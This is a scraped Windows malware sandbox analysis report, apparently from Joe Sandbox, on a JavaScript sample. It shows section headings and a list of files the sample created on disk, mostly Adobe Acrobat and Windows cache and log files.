Spam, unwanted Advertisements and Ransom Demands

System Summary

Data Obfuscation

Hooking and other Techniques for Hiding and Protection

Malware Analysis System Evasion

HIPS / PFW / Operating System Protection Evasion

Language, Device and Operating System Detection

Stealing of Sensitive Information

Mitre Att&ck Matrix

Behavior Graph

Screenshots

Thumbnails

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Dropped Files

Unpacked PE Files

Domains

URLs

Domains and IPs

Contacted Domains

URLs from Memory and Binaries

World Map of Contacted IPs

Public IPs

Private

General Information

Warnings

Simulations

Behavior and APIs

Joe Sandbox View / Context

IPs

Domains

ASNs

JA3 Fingerprints

Dropped Files

Created / dropped Files

C:\ProgramData\Microsoft\Network\Downloader\edb.log

C:\ProgramData\Microsoft\Network\Downloader\qmgr.db

C:\ProgramData\Microsoft\Network\Downloader\qmgr.jfm

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\LOG

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\LOG.old (copy)

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Local Storage\leveldb\LOG

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Local Storage\leveldb\LOG.old (copy)

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Network\8a54df9c-0249-4a8b-96ee-7214ccc859d2.tmp

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Network\Network Persistent State (copy)

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage\000003.log

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage\LOG

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage\LOG.old (copy)

C:\Users\user\AppData\LocalLow\Adobe\Acrobat\DC\ReaderMessages

C:\Users\user\AppData\LocalLow\Adobe\Acrobat\DC\ReaderMessages-journal

C:\Users\user\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\2D85F72862B55C4EADD9E66E06947F3D

C:\Users\user\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\2D85F72862B55C4EADD9E66E06947F3D

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\AdobeCMapFnt23.lst (copy)

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\AdobeFnt23.lst.7828

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\AdobeSysFnt23.lst (copy)

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\Cache\AcroFnt23.lst (copy)

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\Cache\AdobeFnt23.lst.7828

Windows Analysis Report
241721637114311605.js